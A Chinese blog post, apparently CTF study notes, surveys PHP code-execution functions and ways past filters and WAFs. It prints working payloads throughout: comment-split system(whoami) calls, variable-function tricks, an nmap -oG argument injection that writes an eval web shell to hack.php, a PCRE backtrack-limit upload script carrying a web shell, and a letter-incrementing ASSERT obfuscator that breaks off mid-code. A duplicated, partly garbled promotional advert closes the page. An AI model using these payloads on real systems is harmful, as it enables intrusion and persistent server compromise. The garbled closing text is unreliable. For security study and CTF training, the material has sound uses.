RCE漏洞总结及绕过---代码执行篇

具体简介在前一篇有过详细描述
RCE漏洞总结及绕过—系统命令执行篇

RCE漏洞总结及绕过—代码执行篇

代码执行函数

eval():该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾;

assert():该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为flse时返回字符串表达式。如果断言是字符串那么会当做
php代码执行;

preg_replace():/e模式 正则匹配替换字符串,7.0版
本后/e已经移除了;

create_function():创建匿名函数,此函数返回唯一的函数名称一个字符串,否则出错返回false。7.0以后被移除了;

call_user_func():把第一个参数作为回调函数调用,后面的参数作为回调函数的参数。(回调:通过函数参数传递到其它
代码,触发某些条件->调用某些函数);

#传入的参数作为assert函数的参数call\_user\_func("assert",执行的代码);

call_user_func_array():同为回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

call_user_func_array("assert",$array);
//这里不能用eval,因为eval是PHP关键字符,而assert是可变函数可以调用 
//但是assert函数受到php的版本限制,在php7.0.29之后的版本不支持动态调用

在这里插入图片描述
eval与assert:

  • eval语法严格,必须分号,assert不用,assert是可变函数
  • 如果字符串中带有return,会立刻终止执行并返回NULL
  • 如果代码中存在解析错误,则eval0函数返回false
<?pho $\_POST['2']($\_POST['1']); ?>
此时2位置可以传可变函数assert而不能eval,1位置则为要执行的字符串phpinfo()

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;eval不行

p h p i n f o ( ) 以 {phpinfo()}以 phpinfo(){} 为格式执行

php还有一些 像array_map0、array_filter()、usort()/uasort()也可以执行代码
此外,在别的语言中还有如下,

Javascript:eval
Vbscript:Execute,Eval
Python:exec
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEl
等,这些都能造成代码执行漏洞

过滤与绕过

使用$_GET绕过
原理(get参数为cmd):
 	?cmd=$\_GET[a]();&a=phpinfo
eval()之后$\_GET[a]变为:phpinfo,即phpinfo()
变形:?cmd=${\_GET}[a]();&a=phpinfo(\_GET变为{\_GET})
?cmd=${\_GET}{a}();&a=phpinfo ([]使用{}替换)
注:当\_GET(%dd%c5%c7%d6^%82%82%82%82)使用异或代替时,必须加上{}括起来
原因:加上{}表示分割,使%dd%c5%c7%d6^%82%82%82%82独立,不加的话
$%dd%c5%c7%d6^%82%82%82%82{a}();&a=phpinfo
异或符^不知道前后异或多少,会被不是%dd%c5%c7%d6^%82%82%82%82的也异或进去

插入注释

(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/\*A10ng\_\*/(whoami);

system/\*A10ng\_\*/(wh./\*A10ng\_\*/(oa)/\*caixukun\*/.mi);

(sy./\*A10ng\_\*/(st)/\*A10ng\_\*/.em)/\*A10ng\_\*/(wh./\*A10ng\_\*/(oa)/\*A10ng\_\*/.mi);

extract($_POST)变量覆盖
//如果post传参为_SESSION[flag]=flag,那么$\_SESSION["user"]和$\_SESSION["function"]的值都会被覆盖。
<?php
 $\_SESSION["user"] = 'guest';
 $\_SESSION['function'] ='123';
 echo '覆盖前:';
 var_dump($\_SESSION);
 echo "<br>";
 extract($\_POST);
 echo '覆盖后:';
 var_dump($\_SESSION);
 ?

在这里插入图片描述

POST竞争_REQUEST
if($\_REQUEST) { 
	foreach($\_REQUEST as $value) { 
		if(preg_match('/[a-zA-Z]/i', $value))  
		die('fxck you! I hate English!'); 
	} 
}  
//假设我们要传入get:?debu=abc,这时会被过滤
//但是我们再在post传入一个变量名相同的变量debu=1,post优先级高于get,所以$\_REQUEST接受的是debu=1,从而绕过

create_funciton匿名函数

匿名函数其实是有真正的名字,为
%00lambda_%d (%d格式化为当前进程的第n个匿名函数,n的范围
为:0~999)

引用网上一个朋友的payload构造脚本:

import requests
 for i in range(0,1000):
 	url = 'http://c1e68ca7-3854-49ec-bbc1-d303c450861e.node4.buuoj.cn:81/?func\_name=%00lambda\_'+str(i)
	r=requests.get(url)
 	if "flag" in r.text:
		print("flag:"+r.text)
	 	break
 print("Testing...")
 #因为n的范围为0~999,一共也没有多少可能,直接跑出来


科学计数法绕过
if($this->op == "2")
使用:2a不能绕过,因为这里"2"是字符串,不是数字,弱等于不能转化类型,所以2a也不会变为数字2
使用:2e0,即使是字符串,也会自己变为数字2,成功绕过

空格绕过
http://node4.buuoj.cn:26885/calc.php?num=phpinfo()
//当我们直接这么输入时,因为有waf,所以会显示:Forbidden被禁止的
//原理:PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
//这里在num传参和?之后加入一个空格就可以绕过waf
//实现:http://node4.buuoj.cn:26885/ca1c.php?%20num=phpinfo()

escapeshellarg()函数和escapeshellcmd()混合使用
escapeshellarg()函数,在linux系统下,会将单引号转义成 ’ ’ ’ ,用单引号将字符串括起来。
escapeshellcmd()函数,在linux系统下,会将未配对的单引号等特殊符号进行转义。
这样当这两个函数混合在一起使用时,就会导致,转义的单引被绕过。
题目中给出的是nmap命令,拼接上我们可控的参数$host,那么就可以通过添加nmap参数执行将命令和结果写入文件的操作,写入一句话木马。

nmap写入文件的参数是 -oG*

传入参数
?host = ' <?php @eval($\_POST["hack"]);?> -oG hack.php '

经过处理后 拼接的语句 
nmap -T5 -sT -Pn --host-timeout 2 -F  ' '\\''\<\?php @eval\(\$\_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''

preg_replace函数绕过

这个函数也算是正则的一种,应用很多 在各种ctf比赛 实际情况中各种出现 太常用了!!!! 但是写到这里 我能想到的也只有根据实际情况绕过 或者在这种eval中使用参数逃逸 与使用使用$_GET绕过类似 只不过范围更广 总体来说就两种思路 一种是匹配到了 但是特殊操作可绕过 另一种就是匹配不到

超全局变量在整个脚本中都是可用的,无需使用global关键字来访问它们。

1. $\_GET:

$\_GET是一个关联数组,用于从URL中获取参数的值。当使用GET方法发送HTTP请求时,参数会附加在URL的末尾,例如:http://example.com/?id=123。可以使用$\_GET来获取这些参数的值,例如$\_GET['id']将返回123。这在处理表单提交、页面导航和URL参数传递时非常有用。

2. $\_POST:

$\_POST也是一个关联数组,用于从HTTP请求的正文中获取参数值。当使用POST方法发送HTTP请求时,参数会被包含在请求正文中,而不是URL中。可以使用$\_POST来获取这些参数的值,例如$\_POST['name']将返回提交的名称值。与$\_GET相比,$\_POST更适用于处理敏感数据,因为它们不会在URL中暴露出来。

3. $\_SERVER:

$\_SERVER是一个包含了服务器和执行环境信息的关联数组。它提供了许多有用的信息,如当前页面的URL、请求方法、客户端IP地址、服务器信息等。例如,$\_SERVER['REQUEST\_METHOD']将返回当前请求的方法,$\_SERVER['REMOTE\_ADDR']将返回客户端的IP地址。$\_SERVER在处理会话管理、用户认证和访问控制时非常有用。

4. $\_SESSION:

$\_SESSION是用于在不同页面之间存储和访问会话数据的关联数组。它可以用来跟踪用户会话状态,存储用户信息,以及实现用户登录和注销等功能。使用$\_SESSION,可以在不同的页面之间传递数据,并且数据在用户关闭浏览器后仍然保留。

5. $\_COOKIE:

$\_COOKIE是一个包含了客户端发送的HTTP Cookie的关联数组。Cookie是一种在客户端浏览器中存储数据的机制,用于跟踪用户状态和存储用户偏好设置。通过$\_COOKIE,可以读取和修改Cookie的值,例如$\_COOKIE['username']将返回存储在名为"username"的Cookie中的值。

6. $\_REQUEST:

$\_REQUEST是一个关联数组,包含了通过GET、POST和COOKIE方式提交的参数的值。它可以同时获取GET和POST的参数值。然而,由于它可以获取多种来源的参数,因此在使用之前需要注意安全性和数据一致性。

7. $\_FILES:

$\_FILES是一个关联数组,用于访问通过HTTP POST方法上传的文件。它包含了上传文件的属性,如文件名、文件类型、文件大小等。通过$\_FILES,可以将上传的文件保存到服务器上的指定位置。

8. $\_ENV:
   $\_ENV是一个包含了环境变量的关联数组。环境变量是在操作系统中设置的一些系统级别的值,在PHP中可以通过$\_ENV来访问它们。例如,$\_ENV['PATH']将返回操作系统中配置的路径。

9. $GLOBALS:

$GLOBALS是一个包含了全局变量的关联数组。它包含了脚本中定义的所有全局变量,以变量名为键名,变量值为键值。通过$GLOBALS,可以在任何地方访问和修改全局变量的值。

这些超全局变量 可以进行不同场景的利用 不限于这一个单一场景

pcre绕过
pcre回溯次数限制绕过
简单来说,PHP为了防止正则表达式的拒绝服务攻击,给PRCE设定了一个回溯次数上限
pcre.backtrack_limit,我们可通过 var_dump(ini_get('pcre.backtrack\_limit'));的方式查看
当前环境下的上限//PHP文档中,中英文版本的数值是不一样的,一般以英文版为参考
pcre绕过的原理就是:攻击者发送超长字符串,使得preg_match正则执行失效,最后绕过
放一题的POC来理解一下


import requests
from io import BytesIO
files = {
 'file': BytesIO(b'aaa<?php eval($\_POST[txt]);//' + b'a' \* 1000000)
 }
 res = requests.post('http://51.158.75.42:8088/index.php',files=files,allow_redirects=False)
 print(res.headers)

可以看p神的博客
PHP利用PCRE回溯次数限制绕过某些安全限制

无回显无数字无参数

在命令执行篇简单的提了一些取反的操作 在这一篇中会对取反 特殊函数自增 异或等内容进行分析

无参数 使用特殊函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所
有文件和目录名称(glob()可替换)

localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)

current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西 和上面的联动了

getcwd() :取得当前工作目录

dirname():函数返回路径中的目录部分

array\_flip() :交换数组中的键和值,成功时返回交换后的数组

array\_rand() :从数组中随机取出一个或多个单元

array\_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。

chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight\_file()、show\_source()、readfile():读取文件内容

var\_dump() — 打印变量的相关信息

scandir(‘.’)是返回当前目录,虽然我们无法直接传参,但是由于localeconv()返回的数组第一个就是’.‘,current()取第一个值,那么,current((localeconv())就能构造一个’.',然后就能查看当前目录中的文件和
子目录

?参数=var\_dump(scandir(current(localeconv())));

有关数组移动的操作

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

在a.php文件同目录下有一个flag文件
在这里插入图片描述
poc构造思路(从里到外)
1.localencov()返回数组第一个值’.'->current()取第一个值- >scandir(current(localeconv()))构造得出当前目录的文件和子目录
在这里插入图片描述
2.array_reverse(scandir(current(localeconv())))翻转数组 用next移动指针
next(array_reverse(scandir(current(localeconv()))))取到flag
在这里插入图片描述
3.用show_source(next(array_reverse(scandir(current(localeconv())))))显示文件
在这里插入图片描述

get_defined_vars和get_defined_functions

第一个是可以返回全局变量GET POST FILES COOKIE

第二个是可以返回所有的函数,包含两个元素:“internal"和"user”。"internal"包含PHP内置的函数,"user"包含用户定义的所有函数。

首先确认是否有回显:
print\_r(get\_defined\_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get\_defined\_vars())));&b=system('ls /');
把eval换成assert也行 ,能执行system('ls /')就行

第二个适当操作

chdir()&array_rand()赌狗式读文件
session_id()和session_start() 各种特性
无字母无数字
自增绕过

从这一个代码就可以明白
在这里插入图片描述

'A++'的结果是B 'B++'的结果是C,那么理论上可以通过这个方法来得到我们想要的所有字母
payload:ASSERT($_POST[_])

<?php
 $\_=[];
 $\_=@"$\_"; // $\_='Array';
 $\_=$\_['!'=='@']; // $\_=$\_[0];
 $\_\_\_=$\_; // A
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
 ++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;
 $\_\_\_.=$\_\_; // S
 $\_\_\_.=$\_\_; // S
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++; // E 
$\_\_\_.=$\_\_;
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
 ++;$\_\_++;$\_\_++;$\_\_++; // R
 $\_\_\_.=$\_\_;
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
 ++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // T
 $\_\_\_.=$\_\_;
 $\_\_\_\_='\_';
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
 ++;$\_\_++; // P
 $\_\_\_\_.=$\_\_;
 $\_\_=$\_;
 $\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/e4ad191a50bfccf89f97a65b9e82dcb2.png)

![img](https://img-blog.csdnimg.cn/img_convert/27e5b1a001d67096fbc969a7ca23b587.png)

![img](https://img-blog.csdnimg.cn/img_convert/a9fcd72a3f15550b562745dd5e3e5aba.png)

![img](https://img-blog.csdnimg.cn/img_convert/c4ad27f0831bb4174f8f940cfefd2376.png)

![img](https://img-blog.csdnimg.cn/img_convert/e8ab1ea76f777e382e328568416ec72a.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

[外链图片转存中...(img-wmn82QG9-1715539918718)]

[外链图片转存中...(img-7kR8agtq-1715539918718)]

[外链图片转存中...(img-3oZYzIDz-1715539918718)]

[外链图片转存中...(img-2gmb3IT1-1715539918718)]

[外链图片转存中...(img-mtNiZBLe-1715539918719)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 9
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值